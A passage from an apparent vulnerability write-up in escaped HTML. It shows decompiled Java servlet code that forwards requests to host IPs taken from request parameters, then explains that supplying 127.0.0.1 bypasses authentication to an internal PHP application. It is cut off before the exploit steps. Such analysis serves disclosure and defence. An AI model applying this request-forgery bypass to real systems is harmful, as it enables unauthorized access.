class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">timeout<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">connectionTimeout<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Builder <\/span><span class=\"crayon-v\">requestConfigBuilder<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RequestConfig<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">custom<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">requestConfigBuilder<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requestConfigBuilder<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setConnectTimeout<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">timeout<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">requestConfigBuilder<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requestConfigBuilder<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setConnectionRequestTimeout<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">timeout<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">requestConfigBuilder<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requestConfigBuilder<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setSocketTimeout<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">timeout<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">QrifHttpClientBuilder<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setDefaultRequestConfig<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">requestConfigBuilder<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">build<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HttpClient <\/span><span class=\"crayon-v\">httpClient<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">QrifHttpClientBuilder<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">build<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">status<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">forensicsManagedHostIpsArray<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">forensicsManagedHostIps<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">split<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;,&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">parses <\/span><span class=\"crayon-e\">forensicsManagedHostIps <\/span><span class=\"crayon-t\">string<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-25\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fileName<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getParameter<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;fileName&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requestResponseHash<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getParameter<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;responseHashValue&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-27\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">forensicsResponseHashForensicsManagedHostIpsMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">containsKey<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">requestResponseHash<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-28\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">forensicsManagedHostIpsArray<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">forensicsResponseHashForensicsManagedHostIpsMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">requestResponseHash<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-29\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">actionParameterValue<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">matches<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;do.*Analysis&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-30\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">forensicsDocForensicsManagedHostIpMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">containsKey<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">solrDocIdsString<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">forensicsManagedHostIpsArray<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">forensicsDocForensicsManagedHostIpMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">solrDocIdsString<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-32\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">actionParameterValue<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">equals<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;GetFile&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">amp<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">amp<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">forensicsDocForensicsManagedHostIpMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">containsKey<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fileName<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-33\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">forensicsManagedHostIpsArray<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">forensicsDocForensicsManagedHostIpMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fileName<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-34\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-35\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-36\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-37\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">var21<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">forensicsManagedHostIpsArray<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-38\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">var22<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">forensicsManagedHostIpsArray<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">length<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-39\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-40\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">var23<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">var23<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">lt<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">var22<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-v\">var23<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-41\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">forensicsManagedHostIp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">var21<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">var23<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-42\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">forensicsManagedHostIp<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">isEmpty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">each<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">host <\/span><span class=\"crayon-e\">address <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">forensicsManagedHostIps<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sends <\/span><span class=\"crayon-e\">one <\/span><span class=\"crayon-e\">request<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-43\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">requestBuilder<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setUri<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;https:\/\/&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">forensicsManagedHostIp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;\/ForensicsAnalysisServlet\/&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-44\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">forensicsManagedHostSecurityTokens<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-45\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-46\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HttpUriRequest <\/span><span class=\"crayon-v\">httpUriRequest<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requestBuilder<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">build<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-47\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">forensicsManagedHostSecurityTokens<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-48\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-49\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HttpResponse <\/span><span class=\"crayon-v\">httpResponse<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-50\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-51\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">httpResponse<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">httpClient<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">execute<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">httpUriRequest<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0092 seconds] -->  <\/p>\n<p>It is clear from the code that if we send 127.0.0.1 in the forensicsManagedHostIps parameter, we can make ForensicAnalysisServlet forward our request to the PHP web application and bypass authentication. So now how to exploit this? In the PHP we application, we have file.php, which has a 